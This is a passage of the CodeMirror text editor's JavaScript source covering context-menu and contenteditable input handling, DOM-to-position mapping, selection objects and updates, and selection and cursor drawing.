      if (reset && cm.doc.sel.contains(pos) == -1)
        operation(cm, setSelection)(cm.doc, simpleSelection(pos), sel_dontScroll);

      var oldCSS = te.style.cssText;
      input.wrapper.style.position = "absolute";
      te.style.cssText = "position: fixed; width: 30px; height: 30px; top: " + (e.clientY - 5) +
        "px; left: " + (e.clientX - 5) + "px; z-index: 1000; background: " +
        (ie ? "rgba(255, 255, 255, .05)" : "transparent") +
        "; outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);";
      if (webkit) var oldScrollY = window.scrollY; // Work around Chrome issue (#2712)
      display.input.focus();
      if (webkit) window.scrollTo(null, oldScrollY);
      display.input.reset();
      // Adds "Select all" to context menu in FF
      if (!cm.somethingSelected()) te.value = input.prevInput = " ";
      input.contextMenuPending = true;
      display.selForContextMenu = cm.doc.sel;
      clearTimeout(display.detectingSelectAll);

      // Select-all will be greyed out if there's nothing to select, so
      // this adds a zero-width space so that we can later check whether
      // it got selected.
      function prepareSelectAllHack() {
        if (te.selectionStart != null) {
          var selected = cm.somethingSelected();
          var extval = "\u200b" + (selected ? te.value : "");
          te.value = "\u21da"; // Used to catch context-menu undo
          te.value = extval;
          input.prevInput = selected ? "" : "\u200b";
          te.selectionStart = 1; te.selectionEnd = extval.length;
          // Re-set this, in case some other handler touched the
          // selection in the meantime.
          display.selForContextMenu = cm.doc.sel;
        }
      }
      function rehide() {
        input.contextMenuPending = false;
        input.wrapper.style.position = "relative";
        te.style.cssText = oldCSS;
        if (ie && ie_version < 9) display.scrollbars.setScrollTop(display.scroller.scrollTop = scrollPos);

        // Try to detect the user choosing select-all
        if (te.selectionStart != null) {
          if (!ie || (ie && ie_version < 9)) prepareSelectAllHack();
          var i = 0, poll = function() {
            if (display.selForContextMenu == cm.doc.sel && te.selectionStart == 0 &&
                te.selectionEnd > 0 && input.prevInput == "\u200b")
              operation(cm, commands.selectAll)(cm);
            else if (i++ < 10) display.detectingSelectAll = setTimeout(poll, 500);
            else display.input.reset();
          };
          display.detectingSelectAll = setTimeout(poll, 200);
        }
      }

      if (ie && ie_version >= 9) prepareSelectAllHack();
      if (captureRightClick) {
        e_stop(e);
        var mouseup = function() {
          off(window, "mouseup", mouseup);
          setTimeout(rehide, 20);
        };
        on(window, "mouseup", mouseup);
      } else {
        setTimeout(rehide, 50);
      }
    },

    readOnlyChanged: function(val) {
      if (!val) this.reset();
    },

    setUneditable: nothing,

    needsContentAttribute: false
  }, TextareaInput.prototype);

  // CONTENTEDITABLE INPUT STYLE

  function ContentEditableInput(cm) {
    this.cm = cm;
    this.lastAnchorNode = this.lastAnchorOffset = this.lastFocusNode = this.lastFocusOffset = null;
    this.polling = new Delayed();
    this.gracePeriod = false;
  }

  ContentEditableInput.prototype = copyObj({
    init: function(display) {
      var input = this, cm = input.cm;
      var div = input.div = display.lineDiv;
      disableBrowserMagic(div);

      on(div, "paste", function(e) { handlePaste(e, cm); })

      on(div, "compositionstart", function(e) {
        var data = e.data;
        input.composing = {sel: cm.doc.sel, data: data, startData: data};
        if (!data) return;
        var prim = cm.doc.sel.primary();
        var line = cm.getLine(prim.head.line);
        var found = line.indexOf(data, Math.max(0, prim.head.ch - data.length));
        if (found > -1 && found <= prim.head.ch)
          input.composing.sel = simpleSelection(Pos(prim.head.line, found),
                                                Pos(prim.head.line, found + data.length));
      });
      on(div, "compositionupdate", function(e) {
        input.composing.data = e.data;
      });
      on(div, "compositionend", function(e) {
        var ours = input.composing;
        if (!ours) return;
        if (e.data != ours.startData && !/\u200b/.test(e.data))
          ours.data = e.data;
        // Need a small delay to prevent other code (input event,
        // selection polling) from doing damage when fired right after
        // compositionend.
        setTimeout(function() {
          if (!ours.handled)
            input.applyComposition(ours);
          if (input.composing == ours)
            input.composing = null;
        }, 50);
      });

      on(div, "touchstart", function() {
        input.forceCompositionEnd();
      });

      on(div, "input", function() {
        if (input.composing) return;
        if (isReadOnly(cm) || !input.pollContent())
          runInOp(input.cm, function() {regChange(cm);});
      });

      function onCopyCut(e) {
        if (cm.somethingSelected()) {
          lastCopied = cm.getSelections();
          if (e.type == "cut") cm.replaceSelection("", null, "cut");
        } else if (!cm.options.lineWiseCopyCut) {
          return;
        } else {
          var ranges = copyableRanges(cm);
          lastCopied = ranges.text;
          if (e.type == "cut") {
            cm.operation(function() {
              cm.setSelections(ranges.ranges, 0, sel_dontScroll);
              cm.replaceSelection("", null, "cut");
            });
          }
        }
        // iOS exposes the clipboard API, but seems to discard content inserted into it
        if (e.clipboardData && !ios) {
          e.preventDefault();
          e.clipboardData.clearData();
          e.clipboardData.setData("text/plain", lastCopied.join("\n"));
        } else {
          // Old-fashioned briefly-focus-a-textarea hack
          var kludge = hiddenTextarea(), te = kludge.firstChild;
          cm.display.lineSpace.insertBefore(kludge, cm.display.lineSpace.firstChild);
          te.value = lastCopied.join("\n");
          var hadFocus = document.activeElement;
          selectInput(te);
          setTimeout(function() {
            cm.display.lineSpace.removeChild(kludge);
            hadFocus.focus();
          }, 50);
        }
      }
      on(div, "copy", onCopyCut);
      on(div, "cut", onCopyCut);
    },

    prepareSelection: function() {
      var result = prepareSelection(this.cm, false);
      result.focus = this.cm.state.focused;
      return result;
    },

    showSelection: function(info) {
      if (!info || !this.cm.display.view.length) return;
      if (info.focus) this.showPrimarySelection();
      this.showMultipleSelections(info);
    },

    showPrimarySelection: function() {
      var sel = window.getSelection(), prim = this.cm.doc.sel.primary();
      var curAnchor = domToPos(this.cm, sel.anchorNode, sel.anchorOffset);
      var curFocus = domToPos(this.cm, sel.focusNode, sel.focusOffset);
      if (curAnchor && !curAnchor.bad && curFocus && !curFocus.bad &&
          cmp(minPos(curAnchor, curFocus), prim.from()) == 0 &&
          cmp(maxPos(curAnchor, curFocus), prim.to()) == 0)
        return;

      var start = posToDOM(this.cm, prim.from());
      var end = posToDOM(this.cm, prim.to());
      if (!start && !end) return;

      var view = this.cm.display.view;
      var old = sel.rangeCount && sel.getRangeAt(0);
      if (!start) {
        start = {node: view[0].measure.map[2], offset: 0};
      } else if (!end) { // FIXME dangerously hacky
        var measure = view[view.length - 1].measure;
        var map = measure.maps ? measure.maps[measure.maps.length - 1] : measure.map;
        end = {node: map[map.length - 1], offset: map[map.length - 2] - map[map.length - 3]};
      }

      try { var rng = range(start.node, start.offset, end.offset, end.node); }
      catch(e) {} // Our model of the DOM might be outdated, in which case the range we try to set can be impossible
      if (rng) {
        sel.removeAllRanges();
        sel.addRange(rng);
        if (old && sel.anchorNode == null) sel.addRange(old);
        else if (gecko) this.startGracePeriod();
      }
      this.rememberSelection();
    },

    startGracePeriod: function() {
      var input = this;
      clearTimeout(this.gracePeriod);
      this.gracePeriod = setTimeout(function() {
        input.gracePeriod = false;
        if (input.selectionChanged())
          input.cm.operation(function() { input.cm.curOp.selectionChanged = true; });
      }, 20);
    },

    showMultipleSelections: function(info) {
      removeChildrenAndAdd(this.cm.display.cursorDiv, info.cursors);
      removeChildrenAndAdd(this.cm.display.selectionDiv, info.selection);
    },

    rememberSelection: function() {
      var sel = window.getSelection();
      this.lastAnchorNode = sel.anchorNode; this.lastAnchorOffset = sel.anchorOffset;
      this.lastFocusNode = sel.focusNode; this.lastFocusOffset = sel.focusOffset;
    },

    selectionInEditor: function() {
      var sel = window.getSelection();
      if (!sel.rangeCount) return false;
      var node = sel.getRangeAt(0).commonAncestorContainer;
      return contains(this.div, node);
    },

    focus: function() {
      if (this.cm.options.readOnly != "nocursor") this.div.focus();
    },
    blur: function() { this.div.blur(); },
    getField: function() { return this.div; },

    supportsTouch: function() { return true; },

    receivedFocus: function() {
      var input = this;
      if (this.selectionInEditor())
        this.pollSelection();
      else
        runInOp(this.cm, function() { input.cm.curOp.selectionChanged = true; });

      function poll() {
        if (input.cm.state.focused) {
          input.pollSelection();
          input.polling.set(input.cm.options.pollInterval, poll);
        }
      }
      this.polling.set(this.cm.options.pollInterval, poll);
    },

    selectionChanged: function() {
      var sel = window.getSelection();
      return sel.anchorNode != this.lastAnchorNode || sel.anchorOffset != this.lastAnchorOffset ||
        sel.focusNode != this.lastFocusNode || sel.focusOffset != this.lastFocusOffset;
    },

    pollSelection: function() {
      if (!this.composing && !this.gracePeriod && this.selectionChanged()) {
        var sel = window.getSelection(), cm = this.cm;
        this.rememberSelection();
        var anchor = domToPos(cm, sel.anchorNode, sel.anchorOffset);
        var head = domToPos(cm, sel.focusNode, sel.focusOffset);
        if (anchor && head) runInOp(cm, function() {
          setSelection(cm.doc, simpleSelection(anchor, head), sel_dontScroll);
          if (anchor.bad || head.bad) cm.curOp.selectionChanged = true;
        });
      }
    },

    pollContent: function() {
      var cm = this.cm, display = cm.display, sel = cm.doc.sel.primary();
      var from = sel.from(), to = sel.to();
      if (from.line < display.viewFrom || to.line > display.viewTo - 1) return false;

      var fromIndex;
      if (from.line == display.viewFrom || (fromIndex = findViewIndex(cm, from.line)) == 0) {
        var fromLine = lineNo(display.view[0].line);
        var fromNode = display.view[0].node;
      } else {
        var fromLine = lineNo(display.view[fromIndex].line);
        var fromNode = display.view[fromIndex - 1].node.nextSibling;
      }
      var toIndex = findViewIndex(cm, to.line);
      if (toIndex == display.view.length - 1) {
        var toLine = display.viewTo - 1;
        var toNode = display.lineDiv.lastChild;
      } else {
        var toLine = lineNo(display.view[toIndex + 1].line) - 1;
        var toNode = display.view[toIndex + 1].node.previousSibling;
      }

      var newText = cm.doc.splitLines(domTextBetween(cm, fromNode, toNode, fromLine, toLine));
      var oldText = getBetween(cm.doc, Pos(fromLine, 0), Pos(toLine, getLine(cm.doc, toLine).text.length));
      while (newText.length > 1 && oldText.length > 1) {
        if (lst(newText) == lst(oldText)) { newText.pop(); oldText.pop(); toLine--; }
        else if (newText[0] == oldText[0]) { newText.shift(); oldText.shift(); fromLine++; }
        else break;
      }

      var cutFront = 0, cutEnd = 0;
      var newTop = newText[0], oldTop = oldText[0], maxCutFront = Math.min(newTop.length, oldTop.length);
      while (cutFront < maxCutFront && newTop.charCodeAt(cutFront) == oldTop.charCodeAt(cutFront))
        ++cutFront;
      var newBot = lst(newText), oldBot = lst(oldText);
      var maxCutEnd = Math.min(newBot.length - (newText.length == 1 ? cutFront : 0),
                               oldBot.length - (oldText.length == 1 ? cutFront : 0));
      while (cutEnd < maxCutEnd &&
             newBot.charCodeAt(newBot.length - cutEnd - 1) == oldBot.charCodeAt(oldBot.length - cutEnd - 1))
        ++cutEnd;

      newText[newText.length - 1] = newBot.slice(0, newBot.length - cutEnd);
      newText[0] = newText[0].slice(cutFront);

      var chFrom = Pos(fromLine, cutFront);
      var chTo = Pos(toLine, oldText.length ? lst(oldText).length - cutEnd : 0);
      if (newText.length > 1 || newText[0] || cmp(chFrom, chTo)) {
        replaceRange(cm.doc, newText, chFrom, chTo, "+input");
        return true;
      }
    },

    ensurePolled: function() {
      this.forceCompositionEnd();
    },
    reset: function() {
      this.forceCompositionEnd();
    },
    forceCompositionEnd: function() {
      if (!this.composing || this.composing.handled) return;
      this.applyComposition(this.composing);
      this.composing.handled = true;
      this.div.blur();
      this.div.focus();
    },
    applyComposition: function(composing) {
      if (isReadOnly(this.cm))
        operation(this.cm, regChange)(this.cm)
      else if (composing.data && composing.data != composing.startData)
        operation(this.cm, applyTextInput)(this.cm, composing.data, 0, composing.sel);
    },

    setUneditable: function(node) {
      node.contentEditable = "false"
    },

    onKeyPress: function(e) {
      e.preventDefault();
      if (!isReadOnly(this.cm))
        operation(this.cm, applyTextInput)(this.cm, String.fromCharCode(e.charCode == null ? e.keyCode : e.charCode), 0);
    },

    readOnlyChanged: function(val) {
      this.div.contentEditable = String(val != "nocursor")
    },

    onContextMenu: nothing,
    resetPosition: nothing,

    needsContentAttribute: true
  }, ContentEditableInput.prototype);

  function posToDOM(cm, pos) {
    var view = findViewForLine(cm, pos.line);
    if (!view || view.hidden) return null;
    var line = getLine(cm.doc, pos.line);
    var info = mapFromLineView(view, line, pos.line);

    var order = getOrder(line), side = "left";
    if (order) {
      var partPos = getBidiPartAt(order, pos.ch);
      side = partPos % 2 ? "right" : "left";
    }
    var result = nodeAndOffsetInLineMap(info.map, pos.ch, side);
    result.offset = result.collapse == "right" ? result.end : result.start;
    return result;
  }

  function badPos(pos, bad) { if (bad) pos.bad = true; return pos; }

  function domToPos(cm, node, offset) {
    var lineNode;
    if (node == cm.display.lineDiv) {
      lineNode = cm.display.lineDiv.childNodes[offset];
      if (!lineNode) return badPos(cm.clipPos(Pos(cm.display.viewTo - 1)), true);
      node = null; offset = 0;
    } else {
      for (lineNode = node;; lineNode = lineNode.parentNode) {
        if (!lineNode || lineNode == cm.display.lineDiv) return null;
        if (lineNode.parentNode && lineNode.parentNode == cm.display.lineDiv) break;
      }
    }
    for (var i = 0; i < cm.display.view.length; i++) {
      var lineView = cm.display.view[i];
      if (lineView.node == lineNode)
        return locateNodeInLineView(lineView, node, offset);
    }
  }

  function locateNodeInLineView(lineView, node, offset) {
    var wrapper = lineView.text.firstChild, bad = false;
    if (!node || !contains(wrapper, node)) return badPos(Pos(lineNo(lineView.line), 0), true);
    if (node == wrapper) {
      bad = true;
      node = wrapper.childNodes[offset];
      offset = 0;
      if (!node) {
        var line = lineView.rest ? lst(lineView.rest) : lineView.line;
        return badPos(Pos(lineNo(line), line.text.length), bad);
      }
    }

    var textNode = node.nodeType == 3 ? node : null, topNode = node;
    if (!textNode && node.childNodes.length == 1 && node.firstChild.nodeType == 3) {
      textNode = node.firstChild;
      if (offset) offset = textNode.nodeValue.length;
    }
    while (topNode.parentNode != wrapper) topNode = topNode.parentNode;
    var measure = lineView.measure, maps = measure.maps;

    function find(textNode, topNode, offset) {
      for (var i = -1; i < (maps ? maps.length : 0); i++) {
        var map = i < 0 ? measure.map : maps[i];
        for (var j = 0; j < map.length; j += 3) {
          var curNode = map[j + 2];
          if (curNode == textNode || curNode == topNode) {
            var line = lineNo(i < 0 ? lineView.line : lineView.rest[i]);
            var ch = map[j] + offset;
            if (offset < 0 || curNode != textNode) ch = map[j + (offset ? 1 : 0)];
            return Pos(line, ch);
          }
        }
      }
    }
    var found = find(textNode, topNode, offset);
    if (found) return badPos(found, bad);

    // FIXME this is all really shaky. might handle the few cases it needs to handle, but likely to cause problems
    for (var after = topNode.nextSibling, dist = textNode ? textNode.nodeValue.length - offset : 0; after; after = after.nextSibling) {
      found = find(after, after.firstChild, 0);
      if (found)
        return badPos(Pos(found.line, found.ch - dist), bad);
      else
        dist += after.textContent.length;
    }
    for (var before = topNode.previousSibling, dist = offset; before; before = before.previousSibling) {
      found = find(before, before.firstChild, -1);
      if (found)
        return badPos(Pos(found.line, found.ch + dist), bad);
      else
        dist += after.textContent.length;
    }
  }

  function domTextBetween(cm, from, to, fromLine, toLine) {
    var text = "", closing = false, lineSep = cm.doc.lineSeparator();
    function recognizeMarker(id) { return function(marker) { return marker.id == id; }; }
    function walk(node) {
      if (node.nodeType == 1) {
        var cmText = node.getAttribute("cm-text");
        if (cmText != null) {
          if (cmText == "") cmText = node.textContent.replace(/\u200b/g, "");
          text += cmText;
          return;
        }
        var markerID = node.getAttribute("cm-marker"), range;
        if (markerID) {
          var found = cm.findMarks(Pos(fromLine, 0), Pos(toLine + 1, 0), recognizeMarker(+markerID));
          if (found.length && (range = found[0].find()))
            text += getBetween(cm.doc, range.from, range.to).join(lineSep);
          return;
        }
        if (node.getAttribute("contenteditable") == "false") return;
        for (var i = 0; i < node.childNodes.length; i++)
          walk(node.childNodes[i]);
        if (/^(pre|div|p)$/i.test(node.nodeName))
          closing = true;
      } else if (node.nodeType == 3) {
        var val = node.nodeValue;
        if (!val) return;
        if (closing) {
          text += lineSep;
          closing = false;
        }
        text += val;
      }
    }
    for (;;) {
      walk(from);
      if (from == to) break;
      from = from.nextSibling;
    }
    return text;
  }

  CodeMirror.inputStyles = {"textarea": TextareaInput, "contenteditable": ContentEditableInput};

  // SELECTION / CURSOR

  // Selection objects are immutable. A new one is created every time
  // the selection changes. A selection is one or more non-overlapping
  // (and non-touching) ranges, sorted, and an integer that indicates
  // which one is the primary selection (the one that's scrolled into
  // view, that getCursor returns, etc).
  function Selection(ranges, primIndex) {
    this.ranges = ranges;
    this.primIndex = primIndex;
  }

  Selection.prototype = {
    primary: function() { return this.ranges[this.primIndex]; },
    equals: function(other) {
      if (other == this) return true;
      if (other.primIndex != this.primIndex || other.ranges.length != this.ranges.length) return false;
      for (var i = 0; i < this.ranges.length; i++) {
        var here = this.ranges[i], there = other.ranges[i];
        if (cmp(here.anchor, there.anchor) != 0 || cmp(here.head, there.head) != 0) return false;
      }
      return true;
    },
    deepCopy: function() {
      for (var out = [], i = 0; i < this.ranges.length; i++)
        out[i] = new Range(copyPos(this.ranges[i].anchor), copyPos(this.ranges[i].head));
      return new Selection(out, this.primIndex);
    },
    somethingSelected: function() {
      for (var i = 0; i < this.ranges.length; i++)
        if (!this.ranges[i].empty()) return true;
      return false;
    },
    contains: function(pos, end) {
      if (!end) end = pos;
      for (var i = 0; i < this.ranges.length; i++) {
        var range = this.ranges[i];
        if (cmp(end, range.from()) >= 0 && cmp(pos, range.to()) <= 0)
          return i;
      }
      return -1;
    }
  };

  function Range(anchor, head) {
    this.anchor = anchor; this.head = head;
  }

  Range.prototype = {
    from: function() { return minPos(this.anchor, this.head); },
    to: function() { return maxPos(this.anchor, this.head); },
    empty: function() {
      return this.head.line == this.anchor.line && this.head.ch == this.anchor.ch;
    }
  };

  // Take an unsorted, potentially overlapping set of ranges, and
  // build a selection out of it. 'Consumes' ranges array (modifying
  // it).
  function normalizeSelection(ranges, primIndex) {
    var prim = ranges[primIndex];
    ranges.sort(function(a, b) { return cmp(a.from(), b.from()); });
    primIndex = indexOf(ranges, prim);
    for (var i = 1; i < ranges.length; i++) {
      var cur = ranges[i], prev = ranges[i - 1];
      if (cmp(prev.to(), cur.from()) >= 0) {
        var from = minPos(prev.from(), cur.from()), to = maxPos(prev.to(), cur.to());
        var inv = prev.empty() ? cur.from() == cur.head : prev.from() == prev.head;
        if (i <= primIndex) --primIndex;
        ranges.splice(--i, 2, new Range(inv ? to : from, inv ? from : to));
      }
    }
    return new Selection(ranges, primIndex);
  }

  function simpleSelection(anchor, head) {
    return new Selection([new Range(anchor, head || anchor)], 0);
  }

  // Most of the external API clips given positions to make sure they
  // actually exist within the document.
  function clipLine(doc, n) {return Math.max(doc.first, Math.min(n, doc.first + doc.size - 1));}
  function clipPos(doc, pos) {
    if (pos.line < doc.first) return Pos(doc.first, 0);
    var last = doc.first + doc.size - 1;
    if (pos.line > last) return Pos(last, getLine(doc, last).text.length);
    return clipToLen(pos, getLine(doc, pos.line).text.length);
  }
  function clipToLen(pos, linelen) {
    var ch = pos.ch;
    if (ch == null || ch > linelen) return Pos(pos.line, linelen);
    else if (ch < 0) return Pos(pos.line, 0);
    else return pos;
  }
  function isLine(doc, l) {return l >= doc.first && l < doc.first + doc.size;}
  function clipPosArray(doc, array) {
    for (var out = [], i = 0; i < array.length; i++) out[i] = clipPos(doc, array[i]);
    return out;
  }

  // SELECTION UPDATES

  // The 'scroll' parameter given to many of these indicated whether
  // the new cursor position should be scrolled into view after
  // modifying the selection.

  // If shift is held or the extend flag is set, extends a range to
  // include a given position (and optionally a second position).
  // Otherwise, simply returns the range between the given positions.
  // Used for cursor motion and such.
  function extendRange(doc, range, head, other) {
    if (doc.cm && doc.cm.display.shift || doc.extend) {
      var anchor = range.anchor;
      if (other) {
        var posBefore = cmp(head, anchor) < 0;
        if (posBefore != (cmp(other, anchor) < 0)) {
          anchor = head;
          head = other;
        } else if (posBefore != (cmp(head, other) < 0)) {
          head = other;
        }
      }
      return new Range(anchor, head);
    } else {
      return new Range(other || head, head);
    }
  }

  // Extend the primary selection range, discard the rest.
  function extendSelection(doc, head, other, options) {
    setSelection(doc, new Selection([extendRange(doc, doc.sel.primary(), head, other)], 0), options);
  }

  // Extend all selections (pos is an array of selections with length
  // equal the number of selections)
  function extendSelections(doc, heads, options) {
    for (var out = [], i = 0; i < doc.sel.ranges.length; i++)
      out[i] = extendRange(doc, doc.sel.ranges[i], heads[i], null);
    var newSel = normalizeSelection(out, doc.sel.primIndex);
    setSelection(doc, newSel, options);
  }

  // Updates a single range in the selection.
  function replaceOneSelection(doc, i, range, options) {
    var ranges = doc.sel.ranges.slice(0);
    ranges[i] = range;
    setSelection(doc, normalizeSelection(ranges, doc.sel.primIndex), options);
  }

  // Reset the selection to a single range.
  function setSimpleSelection(doc, anchor, head, options) {
    setSelection(doc, simpleSelection(anchor, head), options);
  }

  // Give beforeSelectionChange handlers a change to influence a
  // selection update.
  function filterSelectionChange(doc, sel) {
    var obj = {
      ranges: sel.ranges,
      update: function(ranges) {
        this.ranges = [];
        for (var i = 0; i < ranges.length; i++)
          this.ranges[i] = new Range(clipPos(doc, ranges[i].anchor),
                                     clipPos(doc, ranges[i].head));
      }
    };
    signal(doc, "beforeSelectionChange", doc, obj);
    if (doc.cm) signal(doc.cm, "beforeSelectionChange", doc.cm, obj);
    if (obj.ranges != sel.ranges) return normalizeSelection(obj.ranges, obj.ranges.length - 1);
    else return sel;
  }

  function setSelectionReplaceHistory(doc, sel, options) {
    var done = doc.history.done, last = lst(done);
    if (last && last.ranges) {
      done[done.length - 1] = sel;
      setSelectionNoUndo(doc, sel, options);
    } else {
      setSelection(doc, sel, options);
    }
  }

  // Set a new selection.
  function setSelection(doc, sel, options) {
    setSelectionNoUndo(doc, sel, options);
    addSelectionToHistory(doc, doc.sel, doc.cm ? doc.cm.curOp.id : NaN, options);
  }

  function setSelectionNoUndo(doc, sel, options) {
    if (hasHandler(doc, "beforeSelectionChange") || doc.cm && hasHandler(doc.cm, "beforeSelectionChange"))
      sel = filterSelectionChange(doc, sel);

    var bias = options && options.bias ||
      (cmp(sel.primary().head, doc.sel.primary().head) < 0 ? -1 : 1);
    setSelectionInner(doc, skipAtomicInSelection(doc, sel, bias, true));

    if (!(options && options.scroll === false) && doc.cm)
      ensureCursorVisible(doc.cm);
  }

  function setSelectionInner(doc, sel) {
    if (sel.equals(doc.sel)) return;

    doc.sel = sel;

    if (doc.cm) {
      doc.cm.curOp.updateInput = doc.cm.curOp.selectionChanged = true;
      signalCursorActivity(doc.cm);
    }
    signalLater(doc, "cursorActivity", doc);
  }

  // Verify that the selection does not partially select any atomic
  // marked ranges.
  function reCheckSelection(doc) {
    setSelectionInner(doc, skipAtomicInSelection(doc, doc.sel, null, false), sel_dontScroll);
  }

  // Return a selection that does not partially select any atomic
  // ranges.
  function skipAtomicInSelection(doc, sel, bias, mayClear) {
    var out;
    for (var i = 0; i < sel.ranges.length; i++) {
      var range = sel.ranges[i];
      var newAnchor = skipAtomic(doc, range.anchor, bias, mayClear);
      var newHead = skipAtomic(doc, range.head, bias, mayClear);
      if (out || newAnchor != range.anchor || newHead != range.head) {
        if (!out) out = sel.ranges.slice(0, i);
        out[i] = new Range(newAnchor, newHead);
      }
    }
    return out ? normalizeSelection(out, sel.primIndex) : sel;
  }

  // Ensure a given position is not inside an atomic range.
  function skipAtomic(doc, pos, bias, mayClear) {
    var flipped = false, curPos = pos;
    var dir = bias || 1;
    doc.cantEdit = false;
    search: for (;;) {
      var line = getLine(doc, curPos.line);
      if (line.markedSpans) {
        for (var i = 0; i < line.markedSpans.length; ++i) {
          var sp = line.markedSpans[i], m = sp.marker;
          if ((sp.from == null || (m.inclusiveLeft ? sp.from <= curPos.ch : sp.from < curPos.ch)) &&
              (sp.to == null || (m.inclusiveRight ? sp.to >= curPos.ch : sp.to > curPos.ch))) {
            if (mayClear) {
              signal(m, "beforeCursorEnter");
              if (m.explicitlyCleared) {
                if (!line.markedSpans) break;
                else {--i; continue;}
              }
            }
            if (!m.atomic) continue;
            var newPos = m.find(dir < 0 ? -1 : 1);
            if (cmp(newPos, curPos) == 0) {
              newPos.ch += dir;
              if (newPos.ch < 0) {
                if (newPos.line > doc.first) newPos = clipPos(doc, Pos(newPos.line - 1));
                else newPos = null;
              } else if (newPos.ch > line.text.length) {
                if (newPos.line < doc.first + doc.size - 1) newPos = Pos(newPos.line + 1, 0);
                else newPos = null;
              }
              if (!newPos) {
                if (flipped) {
                  // Driven in a corner -- no valid cursor position found at all
                  // -- try again *with* clearing, if we didn't already
                  if (!mayClear) return skipAtomic(doc, pos, bias, true);
                  // Otherwise, turn off editing until further notice, and return the start of the doc
                  doc.cantEdit = true;
                  return Pos(doc.first, 0);
                }
                flipped = true; newPos = pos; dir = -dir;
              }
            }
            curPos = newPos;
            continue search;
          }
        }
      }
      return curPos;
    }
  }

  // SELECTION DRAWING

  function updateSelection(cm) {
    cm.display.input.showSelection(cm.display.input.prepareSelection());
  }

  function prepareSelection(cm, primary) {
    var doc = cm.doc, result = {};
    var curFragment = result.cursors = document.createDocumentFragment();
    var selFragment = result.selection = document.createDocumentFragment();

    for (var i = 0; i < doc.sel.ranges.length; i++) {
      if (primary === false && i == doc.sel.primIndex) continue;
      var range = doc.sel.ranges[i];
      var collapsed = range.empty();
      if (collapsed || cm.options.showCursorWhenSelecting)
        drawSelectionCursor(cm, range.head, curFragment);
      if (!collapsed)
        drawSelectionRange(cm, range, selFragment);
    }
    return result;
  }

  // Draws a cursor for the given range
  function drawSelectionCursor(cm, head, output) {
    var pos = cursorCoords(cm, head, "div", null, null, !cm.options.singleCursorHeightPerLine);

    var cursor = output.appendChild(elt("div", "\u00a0", "CodeMirror-cursor"));
    cursor.style.left = pos.left + "px";
    cursor.style.top = pos.top + "px";
    cursor.style.height = Math.max(0, pos.bottom - pos.top) * cm.options.cursorHeight + "px";

    if (pos.other) {
      // Secondary cursor, shown when on a 'jump' in bi-directional text
      var otherCursor = output.appendChild(elt("div", "\u00a0", "CodeMirror-cursor CodeMirror-secondarycursor"));
      otherCursor.style.display = "";
      otherCursor.style.left = pos.other.left + "px";
      otherCursor.style.top = pos.other.top + "px";
      otherCursor.style.height = (pos.other.bottom - pos.other.top) * .85 + "px";
    }
  }

  // Draws the given range as a highlighted selection
  function drawSelectionRange(cm, range, output) {
    var display = cm.display, doc = cm.doc;
    var fragment = document.createDocumentFragment();
    var padding = paddingH(cm.display), leftSide = padding.left;
    var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;

    function add(left, top, width, bottom) {
      if (top < 0) top = 0;
      top = Math.round(top);
      bottom = Math.round(bottom);
      fragment.appendChild(elt("div", null, "CodeMirror-selected", "position: absolute; left: " + left +
                               "px; top: " + top + "px; width: " + (width == null ? rightSide - left : width) +
                               "px; height: " + (bottom - top) + "px"));
    }

    function drawForLine(line, fromArg, toArg) {
      var lineObj = getLine(doc, line);
      var lineLen = lineObj.text.length;
      var start, end;
      function coords(ch, bias) {
        return charCoords(cm, Pos(line, ch), "div", lineObj, bias);
      }

      iterateBidiSections(getOrder(lineObj), fromArg || 0, toArg == null ? lineLen : toArg, function(from, to, dir) {
        var leftPos = coords(from, "left"), rightPos, left, right;
        if (from == to) {
          rightPos = leftPos;
          left = right = leftPos.left;
        } else {
          rightPos = coords(to - 1, "right");
          if (dir == "rtl") { var tmp = leftPos; leftPos = rightPos; rightPos = tmp; }
          left = leftPos.left;
          right = rightPos.right;
        }
        if (fromArg == null && from == 0) left = leftSide;
        if (rightPos.top - leftPos.top > 3) { // Different lines, draw top part
          add(left, leftPos.top, null, leftPos.bottom);
          left = leftSide;
          if (leftPos.bottom < rightPos.top) add(left, leftPos.bottom, null, rightPos.top);
        }
        if (toArg == null && to == lineLen) right = rightSide;
        if (!start || leftPos.top < start.top || leftPos.top == start.top && leftPos.left < start.left)
          start = leftPos;
        if (!end || rightPos.bottom > end.bottom || rightPos.bottom == end.bottom && rightPos.right > end.right)
          end = rightPos;
        if (left < leftSide + 1) left = leftSide;
        add(left, rightPos.top, right - left, rightPos.bottom);
      });
      return {start: start, end: end};
    }

    var sFrom = range.from(), sTo = range.to();
    if (sFrom.line == sTo.line) {
      drawForLine(sFrom.line, sFrom.ch, sTo.ch);
    } else {
      var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);
      var singleVLine = visualLine(fromLine) == visualLine(toLine);
      var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;
      var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;
      if (singleVLine) {
        if (leftEnd.top < rightStart.top - 2) {
          add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);
          add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);
        } else {
          add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);
        }
      }
      if (leftEnd.bottom < rightStart.top)
        add(leftSide, leftEnd.bottom, null, rightStart.top);
    }

    output.appendChild(fragment);
  }

  // Cursor-blinking
  function restartBlink(cm) {
    if (!cm.state.focused) return;
    var display = cm.display;
    clearInterval(display.blinker);
    var on = true;
    display.cursorDiv.style.visibility = "";
    if (cm.options.cursorBlinkRate > 0)
      display.blinker = setInterval(function() {
        display.cursorDiv.style.visibility = (on = !on) ? "" : "hidden";
      }, cm.options.cursorBlinkRate);
    else if (cm.options.cursorBlinkRate < 0)
      display.cursorDiv.style.visibility = "hidden";
  }

  // HIGHLIGHT WORKER

  function startWorker(cm, time) {
    if (cm.doc.mode.startState && cm.doc.frontier < cm.display.viewTo)
      cm.state.highlight.set(time, bind(highlightWorker, cm));
  }

  function highlightWorker(cm) {
    var doc = cm.doc;
    if (doc.frontier < doc.first) doc.frontier = doc.first;
    if (doc.frontier >= cm.display.viewTo) return;
    var end = +new Date + cm.options.workTime;
    var state = copyState(doc.mode, getStateBefore(cm, doc.frontier));
    var changedLines = [];

    doc.iter(doc.frontier, Math.min(doc.first + doc.size, cm.display.viewTo + 500), function(line) {
